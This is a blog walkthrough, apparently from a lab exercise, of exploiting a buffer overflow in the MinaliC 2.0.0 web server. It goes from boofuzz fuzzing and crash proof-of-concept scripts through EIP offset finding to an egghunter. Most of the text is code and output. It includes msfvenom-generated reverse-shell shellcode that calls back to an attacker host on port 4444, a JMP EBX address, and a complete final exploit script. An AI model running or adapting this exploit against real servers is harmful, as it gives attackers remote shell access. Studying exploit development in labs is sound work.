Posts MinaliC 2.0.0 buffer overflow exploit
Post
Cancel

MinaliC 2.0.0 buffer overflow exploit

Introduction

In this blog post we will go thru recreating buffer overflow exploit for MinaliC webserver. Application can be downloaded on following URL: https://sourceforge.net/projects/minalic/.
Resources needed:

  • Windows XP with debugger: Immunity Debugger or OllyDbg
  • Kali Linux or any other OS with python and boofuzz installed

Fuzzing

Standard python script with boofuzz module and post_test_case_callback function call can be used for fuzzing.

  • Fuzzer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/python
import sys
from boofuzz import *

host = '172.16.24.213'
port = 80

def receive_response(target, fuzz_data_logger, session, sock):
   data=sock.recv(20000)
   if not "HTTP/1.1" in data:
      print "\n######################################################\n"
      print "[+] No data received from MinaliC server"
      print "[+] Payload length: " + str (len(session.last_send))
      print "[+] Payload saved in minalic_server_crash_report.txt"
      print "[+] Fuzzing ended"
      print "\n######################################################\n"
      f = open("minalic_server_crash_report.txt", "w")
      f.write(session.last_send)
      f.close()
      sys.exit(-1)

def main():

   session = Session(post_test_case_callbacks=[receive_response], sleep_time=0.2, target = Target(connection = SocketConnection(host, port, proto='tcp')))

   s_initialize("MiniShare GET")
   s_string("GET", fuzzable = False)
   s_delim(" ", fuzzable = False)
   s_string("/", fuzzable = False)
   s_string("FUZZ", fuzzable = True)
   s_delim(" ", fuzzable = False)
   s_string("HTTP/1.1", fuzzable = False)
   s_string("\r\n", fuzzable = False)

   s_string("Host:", fuzzable =False)
   s_delim(" ", fuzzable = False)
   s_string("172.16.24.212", fuzzable = True)
   s_string("\r\n", fuzzable = False)

   s_string("User-Agent", fuzzable =False)
   s_delim(" ", fuzzable = False)
   s_string("FUZZ", fuzzable = True)
   s_string("\r\n", fuzzable = False)

   s_string("Accept:", fuzzable =False)
   s_delim(" ", fuzzable = False)
   s_string("FUZZ", fuzzable = True)
   s_string("\r\n", fuzzable = False)

   s_static("Connection: close\r\n")
   s_string("\r\n", fuzzable = False)

   # Template
   """
   GET / HTTP/1.1
   Host: 172.16.24.212
   User-Agent: Mozilla/5.0 (X11; Linux i686; rv:68.0) Gecko/20100101 Firefox/68.0
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
   Accept-Language: en-US,en;q=0.5
   Accept-Encoding: gzip, deflate
   Connection: close
   Upgrade-Insecure-Requests: 1
   """

   session.connect(s_get("MiniShare GET"))
   session.fuzz()

if __name__ == "__main__":
    main()

After aprox 500 test cases application finaly crashed.

Fuzzing results

Fuzzing results

Payload which crashed application was following:

1
2
3
4
5
GET /a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a= HTTP/1.1
Host: 172.16.24.212
User-Agent FUZZ
Accept: FUZZ
Connection: close

Creating proof of concept code

As next step we need to reproduce crash with PoC script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python

import socket

host = "172.16.24.213"
port = 80

buffer = "GET /a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a=a= HTTP/1.1\r\n"
buffer += "Host: 172.16.24.213\r\nUser-Agent FUZZ\r\nAccept: FUZZ\r\nConnection: close\r\n\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(buffer)
print ("[+] Payload sent")
s.close()

And it works.

Fuzzing results

Great, now we need to attach Immunity Debugger or OllyDbg to the application to inspect the crash.

Analysing crash

When we send payload from minalic_server_crash_report.txt application is crashed but still not in a usefully way. We need to manually probe various payload lengths to overwrite EIP with values we want.

After a bit of playing with various lengths we can conclude that EIP is overwritten by sending 221 “A”s after GET / prefix.

  • Proof of concept code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python

import socket, time

host = "172.16.24.213"
port = 80

x=221
buffer =  "GET /" + x * "A" + " HTTP/1.1\r\nHost: 172.16.24.212\r\nUser-Agent FUZZ\r\nAccept: FUZZ\r\nConnection: close\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(buffer)
s.close()

print ("[+] Fuzzing complated")
  • Result

Fuzzing results

Sadly, non of the registers is pointing to our payload, nor we can reach it with POP, POP, POP,… RET sequence.

After little bit of googling and research it seems that exploit is dependent on location where application is installed on the disk.

For example, for the same payload length:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python
import socket

host = "172.16.24.213"
port = 80

x=253
buffer =  "GET /" + x * "A" + " HTTP/1.1\r\n"
buffer += "Host: " + 50 * "B" + "\r\n"
buffer += "User-Agent FUZZ\r\nAccept: FUZZ\r\nConnection: close\r\n\r\n"
buffer += "C" * 360
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(buffer)
s.close()
print ("[+] Fuzzing complated")

If application is installed in c:\minalic\ path, EBX is pointing to value of Host header (BBBB…).

Fuzzing results

If application is installed in c:\vulnerabesoftware\minalic\ path, besides EBX which is pointing to Host header value, ESP is pointing to last 6 bytes from URL in GET request.

Fuzzing results

But if path is longer none of the registers is pointing to part of our payload, which we had at first place. We will move application to: c:\vulnerablesoftware\minalic\ path so that we can continue with this walkthrough. By moving application to new folder, payload length needs to be changed to 240.

Finding EIP location

In order to find EIP location, we need to send unique pattern which can be generated by msf-pattern_create script:

1
2
msf-pattern_create -l 240
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9

And sent via python script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/python

import socket, time

host = "172.16.24.213"
port = 80

x=240
pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9"
#buffer =  "GET /" + (x) * "A" + " HTTP/1.1\r\n"
buffer =  "GET /" + pattern + " HTTP/1.1\r\n"
buffer += "Host: " + 50 * "B" + "\r\n"
buffer += "User-Agent FUZZ\r\nAccept: FUZZ\r\nConnection: close\r\n\r\n"
buffer += "C" * 360
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(buffer)
s.close()

The result is following:

Fuzzing results

Another MetaSploit script can be used to find location of EIP value 37684136:

1
2
msf-pattern_offset -l 240 -q 37684136
[*] Exact match at offset 230

EIP is located at 230 characters after GET / prefix. We can also notice that ESP is pointing to Ah8Ah9 which is the end of URL (end of our unique pattern) in GET request.

As next step, we need to find address with JMP ESP and write opcodes to jump back up the stack to reach our shellcode or find JMP EBX instruction and place egghunter in Host header and shellcode somewhere else. For practice, let’s chose JMP EBX + egghunter approach.

Since this is a web server we can try our luck with usual bad characters without looking for a bad ones:

  • Generate egghunter (for w00t egg):
1
2
3
4
5
/usr/bin/msf-egghunter -f python -e w00t -p windows -a x86
buf =  b""
buf += b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c"
buf += b"\x05\x5a\x74\xef\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75"
buf += b"\xea\xaf\x75\xe7\xff\xe7"
  • Generate reverse shell code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=172.16.24.204 LPORT=4444 -f python -b "\x00\x0a\0d"
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1712 bytes
buf =  b""
buf += b"\xdb\xde\xbe\xcb\x1f\xb0\xfc\xd9\x74\x24\xf4\x5b\x2b"
buf += b"\xc9\xb1\x52\x31\x73\x17\x83\xeb\xfc\x03\xb8\x0c\x52"
buf += b"\x09\xc2\xdb\x10\xf2\x3a\x1c\x75\x7a\xdf\x2d\xb5\x18"
buf += b"\x94\x1e\x05\x6a\xf8\x92\xee\x3e\xe8\x21\x82\x96\x1f"
buf += b"\x81\x29\xc1\x2e\x12\x01\x31\x31\x90\x58\x66\x91\xa9"
buf += b"\x92\x7b\xd0\xee\xcf\x76\x80\xa7\x84\x25\x34\xc3\xd1"
buf += b"\xf5\xbf\x9f\xf4\x7d\x5c\x57\xf6\xac\xf3\xe3\xa1\x6e"
buf += b"\xf2\x20\xda\x26\xec\x25\xe7\xf1\x87\x9e\x93\x03\x41"
buf += b"\xef\x5c\xaf\xac\xdf\xae\xb1\xe9\xd8\x50\xc4\x03\x1b"
buf += b"\xec\xdf\xd0\x61\x2a\x55\xc2\xc2\xb9\xcd\x2e\xf2\x6e"
buf += b"\x8b\xa5\xf8\xdb\xdf\xe1\x1c\xdd\x0c\x9a\x19\x56\xb3"
buf += b"\x4c\xa8\x2c\x90\x48\xf0\xf7\xb9\xc9\x5c\x59\xc5\x09"
buf += b"\x3f\x06\x63\x42\xd2\x53\x1e\x09\xbb\x90\x13\xb1\x3b"
buf += b"\xbf\x24\xc2\x09\x60\x9f\x4c\x22\xe9\x39\x8b\x45\xc0"
buf += b"\xfe\x03\xb8\xeb\xfe\x0a\x7f\xbf\xae\x24\x56\xc0\x24"
buf += b"\xb4\x57\x15\xea\xe4\xf7\xc6\x4b\x54\xb8\xb6\x23\xbe"
buf += b"\x37\xe8\x54\xc1\x9d\x81\xff\x38\x76\x02\xef\x5a\x4a"
buf += b"\x32\x12\x5a\x43\x9f\x9b\xbc\x09\x0f\xca\x17\xa6\xb6"
buf += b"\x57\xe3\x57\x36\x42\x8e\x58\xbc\x61\x6f\x16\x35\x0f"
buf += b"\x63\xcf\xb5\x5a\xd9\x46\xc9\x70\x75\x04\x58\x1f\x85"
buf += b"\x43\x41\x88\xd2\x04\xb7\xc1\xb6\xb8\xee\x7b\xa4\x40"
buf += b"\x76\x43\x6c\x9f\x4b\x4a\x6d\x52\xf7\x68\x7d\xaa\xf8"
buf += b"\x34\x29\x62\xaf\xe2\x87\xc4\x19\x45\x71\x9f\xf6\x0f"
buf += b"\x15\x66\x35\x90\x63\x67\x10\x66\x8b\xd6\xcd\x3f\xb4"
buf += b"\xd7\x99\xb7\xcd\x05\x3a\x37\x04\x8e\x4a\x72\x04\xa7"
buf += b"\xc2\xdb\xdd\xf5\x8e\xdb\x08\x39\xb7\x5f\xb8\xc2\x4c"
buf += b"\x7f\xc9\xc7\x09\xc7\x22\xba\x02\xa2\x44\x69\x22\xe7"

Mona can be used to find addresses with JMP EBX instruction: !mona findwild -s "JMP EBX".

Mona results

Since there are several choices we can use: 77C11F13.

Final exploit

After a lots of “try and fail” attempts a place for shell code was finally found. If we place egghunter in Host header and egg+shellcode in Agent header, shellcode will end up in a memory and egghunter will eventually find it.

  • Final exploit code is following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/python
import socket

host = "172.16.24.213"
port = 80

# JMP EBX: 77C11F13
jmp_ebx = "\x13\x1f\xc1\x77"
x=240

egg = "w00t"

#/usr/bin/msf-egghunter -f python -e w00t -p windows -a x86
egghunter =  b""
egghunter += b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c"
egghunter += b"\x05\x5a\x74\xef\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75"
egghunter += b"\xea\xaf\x75\xe7\xff\xe7"

# msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=172.16.24.204 LPORT=4444 -f python -b "\x00\x0a\x0d"

buf =  b""
buf += b"\xda\xc9\xb8\x19\x14\x16\x98\xd9\x74\x24\xf4\x5f\x2b"
buf += b"\xc9\xb1\x52\x31\x47\x17\x03\x47\x17\x83\xf6\xe8\xf4"
buf += b"\x6d\xf4\xf9\x7b\x8d\x04\xfa\x1b\x07\xe1\xcb\x1b\x73"
buf += b"\x62\x7b\xac\xf7\x26\x70\x47\x55\xd2\x03\x25\x72\xd5"
buf += b"\xa4\x80\xa4\xd8\x35\xb8\x95\x7b\xb6\xc3\xc9\x5b\x87"
buf += b"\x0b\x1c\x9a\xc0\x76\xed\xce\x99\xfd\x40\xfe\xae\x48"
buf += b"\x59\x75\xfc\x5d\xd9\x6a\xb5\x5c\xc8\x3d\xcd\x06\xca"
buf += b"\xbc\x02\x33\x43\xa6\x47\x7e\x1d\x5d\xb3\xf4\x9c\xb7"
buf += b"\x8d\xf5\x33\xf6\x21\x04\x4d\x3f\x85\xf7\x38\x49\xf5"
buf += b"\x8a\x3a\x8e\x87\x50\xce\x14\x2f\x12\x68\xf0\xd1\xf7"
buf += b"\xef\x73\xdd\xbc\x64\xdb\xc2\x43\xa8\x50\xfe\xc8\x4f"
buf += b"\xb6\x76\x8a\x6b\x12\xd2\x48\x15\x03\xbe\x3f\x2a\x53"
buf += b"\x61\x9f\x8e\x18\x8c\xf4\xa2\x43\xd9\x39\x8f\x7b\x19"
buf += b"\x56\x98\x08\x2b\xf9\x32\x86\x07\x72\x9d\x51\x67\xa9"
buf += b"\x59\xcd\x96\x52\x9a\xc4\x5c\x06\xca\x7e\x74\x27\x81"
buf += b"\x7e\x79\xf2\x06\x2e\xd5\xad\xe6\x9e\x95\x1d\x8f\xf4"
buf += b"\x19\x41\xaf\xf7\xf3\xea\x5a\x02\x94\xb8\x8b\x14\xa8"
buf += b"\xa9\xa9\x24\x21\x76\x27\xc2\x2b\x96\x61\x5d\xc4\x0f"
buf += b"\x28\x15\x75\xcf\xe6\x50\xb5\x5b\x05\xa5\x78\xac\x60"
buf += b"\xb5\xed\x5c\x3f\xe7\xb8\x63\x95\x8f\x27\xf1\x72\x4f"
buf += b"\x21\xea\x2c\x18\x66\xdc\x24\xcc\x9a\x47\x9f\xf2\x66"
buf += b"\x11\xd8\xb6\xbc\xe2\xe7\x37\x30\x5e\xcc\x27\x8c\x5f"
buf += b"\x48\x13\x40\x36\x06\xcd\x26\xe0\xe8\xa7\xf0\x5f\xa3"
buf += b"\x2f\x84\x93\x74\x29\x89\xf9\x02\xd5\x38\x54\x53\xea"
buf += b"\xf5\x30\x53\x93\xeb\xa0\x9c\x4e\xa8\xd1\xd6\xd2\x99"
buf += b"\x79\xbf\x87\x9b\xe7\x40\x72\xdf\x11\xc3\x76\xa0\xe5"
buf += b"\xdb\xf3\xa5\xa2\x5b\xe8\xd7\xbb\x09\x0e\x4b\xbb\x1b"

buffer =  "GET /" + (230) * "A" + jmp_ebx + "A" * (240-230-4)  + " HTTP/1.1\r\n"
buffer += "Host: " + "\x90" * 10 + egghunter + "\r\n"
buffer += "Agent: w00tw00t" + buf + "\r\n\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(buffer)
s.close()

Confirmation that exploit is working:

Confirmation

This post is licensed under CC BY 4.0 by the author.